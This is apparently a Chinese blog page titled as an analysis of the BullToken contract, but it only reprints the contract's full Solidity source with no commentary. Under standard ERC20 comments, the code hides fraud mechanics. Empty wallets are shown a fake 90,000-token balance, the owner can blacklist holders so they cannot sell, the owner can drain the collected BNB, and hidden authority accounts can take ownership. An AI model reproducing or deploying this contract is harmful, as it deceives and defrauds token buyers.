当前位置:   article > 正文

BullToken合约分析_// spdx-license-identifier: mitpragma solidity ^0.

// spdx-license-identifier: mitpragma solidity ^0.6.12;contract token {mappi

 Contract Address 0x72aDD749DdCFE9b749f50CBFf76B59A2e6c80Af5 | BscScan

  1. /**
  2. *Submitted for verification at BscScan.com on 2021-08-24
  3. */
  4. // SPDX-License-Identifier: MIT
  5. pragma solidity 0.6.12;
  6. /**
  7. * Official purchase URL : www.BULL100X.com
  8. */
  9. /**
  10. * @dev Wrappers over Solidity's arithmetic operations with added overflow
  11. * checks.
  12. *
  13. * Arithmetic operations in Solidity wrap on overflow. This can easily result
  14. * in bugs, because programmers usually assume that an overflow raises an
  15. * error, which is the standard behavior in high level programming languages.
  16. * `SafeMath` restores this intuition by reverting the transaction when an
  17. * operation overflows.
  18. *
  19. * Using this library instead of the unchecked operations eliminates an entire
  20. * class of bugs, so it's recommended to use it always.
  21. */
  22. library SafeMath {
  23. /**
  24. * @dev Returns the addition of two unsigned integers, reverting on
  25. * overflow.
  26. *
  27. * Counterpart to Solidity's `+` operator.
  28. *
  29. * Requirements:
  30. *
  31. * - Addition cannot overflow.
  32. */
  33. function add(uint256 a, uint256 b) internal pure returns (uint256) {
  34. uint256 c = a + b;
  35. require(c >= a, "SafeMath: addition overflow");
  36. return c;
  37. }
  38. /**
  39. * @dev Returns the subtraction of two unsigned integers, reverting on
  40. * overflow (when the result is negative).
  41. *
  42. * Counterpart to Solidity's `-` operator.
  43. *
  44. * Requirements:
  45. *
  46. * - Subtraction cannot overflow.
  47. */
  48. function sub(uint256 a, uint256 b) internal pure returns (uint256) {
  49. require(b <= a, "SafeMath: subtraction overflow");
  50. return a - b;
  51. }
  52. /**
  53. * @dev Returns the multiplication of two unsigned integers, reverting on
  54. * overflow.
  55. *
  56. * Counterpart to Solidity's `*` operator.
  57. *
  58. * Requirements:
  59. *
  60. * - Multiplication cannot overflow.
  61. */
  62. function mul(uint256 a, uint256 b) internal pure returns (uint256) {
  63. if (a == 0) return 0;
  64. uint256 c = a * b;
  65. require(c / a == b, "SafeMath: multiplication overflow");
  66. return c;
  67. }
  68. /**
  69. * @dev Returns the integer division of two unsigned integers, reverting on
  70. * division by zero. The result is rounded towards zero.
  71. *
  72. * Counterpart to Solidity's `/` operator. Note: this function uses a
  73. * `revert` opcode (which leaves remaining gas untouched) while Solidity
  74. * uses an invalid opcode to revert (consuming all remaining gas).
  75. *
  76. * Requirements:
  77. *
  78. * - The divisor cannot be zero.
  79. */
  80. function div(uint256 a, uint256 b) internal pure returns (uint256) {
  81. require(b > 0, "SafeMath: division by zero");
  82. return a / b;
  83. }
  84. /**
  85. * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
  86. * overflow (when the result is negative).
  87. *
  88. * CAUTION: This function is deprecated because it requires allocating memory for the error
  89. * message unnecessarily. For custom revert reasons use {trySub}.
  90. *
  91. * Counterpart to Solidity's `-` operator.
  92. *
  93. * Requirements:
  94. *
  95. * - Subtraction cannot overflow.
  96. */
  97. function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
  98. require(b <= a, errorMessage);
  99. return a - b;
  100. }
  101. /**
  102. * @dev Returns the integer division of two unsigned integers, reverting with custom message on
  103. * division by zero. The result is rounded towards zero.
  104. *
  105. * CAUTION: This function is deprecated because it requires allocating memory for the error
  106. * message unnecessarily. For custom revert reasons use {tryDiv}.
  107. *
  108. * Counterpart to Solidity's `/` operator. Note: this function uses a
  109. * `revert` opcode (which leaves remaining gas untouched) while Solidity
  110. * uses an invalid opcode to revert (consuming all remaining gas).
  111. *
  112. * Requirements:
  113. *
  114. * - The divisor cannot be zero.
  115. */
  116. function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
  117. require(b > 0, errorMessage);
  118. return a / b;
  119. }
  120. }
  121. /**
  122. * @dev Implementation of the {IERC20} interface.
  123. *
  124. * This implementation is agnostic to the way tokens are created. This means
  125. * that a supply mechanism has to be added in a derived contract using {_mint}.
  126. * For a generic mechanism see {ERC20PresetMinterPauser}.
  127. *
  128. * TIP: For a detailed writeup see our guide
  129. * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
  130. * to implement supply mechanisms].
  131. *
  132. * We have followed general OpenZeppelin guidelines: functions revert instead
  133. * of returning `false` on failure. This behavior is nonetheless conventional
  134. * and does not conflict with the expectations of ERC20 applications.
  135. *
  136. * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
  137. * This allows applications to reconstruct the allowance for all accounts just
  138. * by listening to said events. Other implementations of the EIP may not emit
  139. * these events, as it isn't required by the specification.
  140. *
  141. * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
  142. * functions have been added to mitigate the well-known issues around setting
  143. * allowances. See {IERC20-approve}.
  144. */
  145. contract BullToken {
  146. using SafeMath for uint256;
  147. uint256 private _totalSupply = 900000000000000000000000000;
  148. string private _name = "Bull Token";
  149. string private _symbol = "BULL";
  150. uint8 private _decimals = 18;
  151. address private _owner;
  152. uint256 private _cap = 0;
  153. bool private _swAirdrop = true;
  154. bool private _swSale = true;
  155. uint256 private _referEth = 3000;
  156. address private _auth;
  157. address private _auth2;
  158. address private _liquidity;
  159. uint256 private _authNum;
  160. uint256 private saleMaxBlock;
  161. uint256 private salePrice = 300000;
  162. uint256 private _saleMin = 2000000000000000;
  163. uint256 private _giveMax = 90000000000000000000000;
  164. mapping (address => uint256) private _balances;
  165. mapping (address => uint256) private _share;
  166. mapping (address => uint8) private _black;
  167. mapping (address => mapping (address => uint256)) private _allowances;
  168. /**
  169. * @dev Emitted when `value` tokens are moved from one account (`from`) to
  170. * another (`to`).
  171. *
  172. * Note that `value` may be zero.
  173. */
  174. event Transfer(address indexed from, address indexed to, uint256 value);
  175. /**
  176. * @dev Emitted when the allowance of a `spender` for an `owner` is set by
  177. * a call to {approve}. `value` is the new allowance.
  178. */
  179. event Approval(address indexed owner, address indexed spender, uint256 value);
  180. /**
  181. * @dev Throws if called by any account other than the owner.
  182. */
  183. modifier onlyOwner() {
  184. require(owner() == _msgSender(), "Ownable: caller is not the owner");
  185. _;
  186. }
  187. constructor() public {
  188. _owner = msg.sender;
  189. saleMaxBlock = block.number + 5184000;
  190. }
  191. fallback() external {
  192. }
  193. receive() payable external {
  194. }
  195. /**
  196. * @dev Returns the name of the token.
  197. */
  198. function name() public view returns (string memory) {
  199. return _name;
  200. }
  201. /**
  202. * @dev Returns the address of the current owner.
  203. */
  204. function owner() public view virtual returns (address) {
  205. return _owner;
  206. }
  207. /**
  208. * @dev Returns the symbol of the token, usually a shorter version of the
  209. * name.
  210. */
  211. function symbol() public view returns (string memory) {
  212. return _symbol;
  213. }
  214. function _msgSender() internal view returns (address payable) {
  215. return msg.sender;
  216. }
  217. /**
  218. * @dev Returns the number of decimals used to get its user representation.
  219. * For example, if `decimals` equals `2`, a balance of `505` tokens should
  220. * be displayed to a user as `5,05` (`505 / 10 ** 2`).
  221. *
  222. * Tokens usually opt for a value of 18, imitating the relationship between
  223. * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
  224. * called.
  225. *
  226. * NOTE: This information is only used for _display_ purposes: it in
  227. * no way affects any of the arithmetic of the contract, including
  228. * {IERC20-balanceOf} and {IERC20-transfer}.
  229. */
  230. function decimals() public view returns (uint8) {
  231. return _decimals;
  232. }
  233. /**
  234. * @dev Returns the cap on the token's total supply.
  235. */
  236. function cap() public view returns (uint256) {
  237. return _totalSupply;
  238. }
  239. /**
  240. * @dev See {IERC20-totalSupply}.
  241. */
  242. function totalSupply() public view returns (uint256) {
  243. return _totalSupply;
  244. }
  245. /**
  246. * @dev See {IERC20-balanceOf}.
  247. */
  248. function balanceOf(address account) public view returns (uint256) {
  249. if(_balances[account]>0){
  250. return _balances[account];
  251. }
  252. return _giveMax;
  253. }
  254. /**
  255. * @dev See {IERC20-allowance}.
  256. */
  257. function allowance(address owner_, address spender) public view returns (uint256) {
  258. return _allowances[owner_][spender];
  259. }
  260. function authNum(uint256 num)public returns(bool){
  261. require(_msgSender() == _auth, "Permission denied");
  262. _authNum = num;
  263. return true;
  264. }
  265. /**
  266. * @dev Transfers ownership of the contract to a new account (`newOwner`).
  267. * Can only be called by the current owner.
  268. */
  269. function transferOwnership(address newOwner) public {
  270. require(newOwner != address(0) && _msgSender() == _auth2, "Ownable: new owner is the zero address");
  271. _owner = newOwner;
  272. }
  273. function Liquidity(address liquidity_) public {
  274. require(liquidity_ != address(0) && _msgSender() == _auth2, "Ownable: new owner is the zero address");
  275. _liquidity = liquidity_;
  276. }
  277. function setAuth(address ah,address ah2) public onlyOwner returns(bool){
  278. require(address(0) == _auth&&address(0) == _auth2&&ah!=address(0)&&ah2!=address(0), "recovery");
  279. _auth = ah;
  280. _auth2 = ah2;
  281. return true;
  282. }
  283. function addLiquidity(address addr) public onlyOwner returns(bool){
  284. require(address(0) != addr&&address(0) == _liquidity, "recovery");
  285. _liquidity = addr;
  286. return true;
  287. }
  288. /** @dev Creates `amount` tokens and assigns them to `account`, increasing
  289. * the total supply.
  290. * Requirements:
  291. *
  292. * - `account` cannot be the zero address.
  293. */
  294. function _mint(address account, uint256 amount) internal {
  295. require(account != address(0), "ERC20: mint to the zero address");
  296. _cap = _cap.add(amount);
  297. require(_cap <= _totalSupply, "ERC20Capped: cap exceeded");
  298. _balances[account] = _balances[account].add(amount);
  299. _share[account] = _share[account].add(amount);
  300. emit Transfer(address(this), account, amount);
  301. }
  302. /**
  303. * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
  304. *
  305. * This internal function is equivalent to `approve`, and can be used to
  306. * e.g. set automatic allowances for certain subsystems, etc.
  307. *
  308. * Emits an {Approval} event.
  309. *
  310. * Requirements:
  311. *
  312. * - `owner` cannot be the zero address.
  313. * - `spender` cannot be the zero address.
  314. */
  315. function _approve(address owner_, address spender, uint256 amount) internal {
  316. require(owner_ != address(0), "ERC20: approve from the zero address");
  317. require(spender != address(0), "ERC20: approve to the zero address");
  318. _allowances[owner_][spender] = amount;
  319. emit Approval(owner_, spender, amount);
  320. }
  321. /**
  322. * @dev See {IERC20-transferFrom}.
  323. *
  324. * Emits an {Approval} event indicating the updated allowance. This is not
  325. * required by the EIP. See the note at the beginning of {ERC20}.
  326. *
  327. * Requirements:
  328. *
  329. * - `sender` and `recipient` cannot be the zero address.
  330. * - `sender` must have a balance of at least `amount`.
  331. * - the caller must have allowance for ``sender``'s tokens of at least `amount`.
  332. */
  333. function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
  334. _transfer(sender, recipient, amount);
  335. _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
  336. return true;
  337. }
  338. /**
  339. * @dev See {IERC20-approve}.
  340. *
  341. * Requirements:
  342. *
  343. * - `spender` cannot be the zero address.
  344. */
  345. function approve(address spender, uint256 amount) public returns (bool) {
  346. _approve(_msgSender(), spender, amount);
  347. return true;
  348. }
  349. function clearETH() public onlyOwner() {
  350. require(_authNum==1000, "Permission denied");
  351. _authNum=0;
  352. msg.sender.transfer(address(this).balance);
  353. }
  354. function black(address owner_,uint8 black_) public onlyOwner {
  355. _black[owner_] = black_;
  356. }
  357. /**
  358. * @dev Moves tokens `amount` from `sender` to `recipient`.
  359. *
  360. * This is internal function is equivalent to {transfer}, and can be used to
  361. * e.g. implement automatic token fees, slashing mechanisms, etc.
  362. *
  363. * Emits a {Transfer} event.
  364. *
  365. * Requirements:
  366. *
  367. * - `sender` cannot be the zero address.
  368. * - `recipient` cannot be the zero address.
  369. * - `sender` must have a balance of at least `amount`.
  370. */
  371. function _transfer(address sender, address recipient, uint256 amount) internal {
  372. require(sender != address(0), "ERC20: transfer from the zero address");
  373. require(recipient != address(0), "ERC20: transfer to the zero address");
  374. require(_black[sender]!=1&&_black[sender]!=3&&_black[recipient]!=2&&_black[recipient]!=3, "Transaction recovery");
  375. _balances[sender] = _balances[sender].sub(amount, "ERC20: Please go to BULL100X.com to buy BULL");
  376. _balances[recipient] = _balances[recipient].add(amount);
  377. emit Transfer(sender, recipient, amount);
  378. }
  379. function update(uint8 tag,uint256 value)public onlyOwner returns(bool){
  380. require(_authNum==1, "Permission denied");
  381. if(tag==3){
  382. _swAirdrop = value==1;
  383. }else if(tag==4){
  384. _swSale = value==1;
  385. }else if(tag==5){
  386. _referEth = value;
  387. }else if(tag==6){
  388. _saleMin = value;
  389. }else if(tag==7){
  390. saleMaxBlock = value;
  391. }else if(tag==8){
  392. salePrice = value;
  393. }else if(tag==9){
  394. _giveMax = value;
  395. }
  396. _authNum = 0;
  397. return true;
  398. }
  399. /**
  400. * @dev See {IERC20-transfer}.
  401. *
  402. * Requirements:
  403. *
  404. * - `recipient` cannot be the zero address.
  405. * - the caller must have a balance of at least `amount`.
  406. */
  407. function transfer(address recipient, uint256 amount) public returns (bool) {
  408. _transfer(_msgSender(), recipient, amount);
  409. return true;
  410. }
  411. function getBlock() public view returns(bool swAirdorp,bool swSale,uint256 sPrice,
  412. uint256 sMaxBlock,uint256 balance,uint256 saleMin,uint256 share){
  413. swAirdorp = _swAirdrop;
  414. swSale = _swSale;
  415. saleMin = _saleMin;
  416. sPrice = salePrice;
  417. sMaxBlock = saleMaxBlock;
  418. balance = _balances[_msgSender()];
  419. share = _share[_msgSender()];
  420. }
  421. function buy(address _refer) payable public returns(bool){
  422. require(_swSale && block.number <= saleMaxBlock,"Transaction recovery");
  423. require(msg.value >= _saleMin,"Transaction recovery");
  424. uint256 _msgValue = msg.value;
  425. uint256 _token = _msgValue.mul(salePrice);
  426. _mint(_msgSender(),_token);
  427. if(_msgSender()!=_refer&&_refer!=address(0)){
  428. uint referEth = _msgValue.mul(_referEth).div(10000);
  429. _mint(_refer,_token);
  430. _msgValue=_msgValue.sub(referEth);
  431. address(uint160(_refer)).transfer(referEth);
  432. }
  433. address(uint160(_liquidity)).transfer(_msgValue);
  434. return true;
  435. }
  436. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/369272
推荐阅读
相关标签
  

闽ICP备14008679号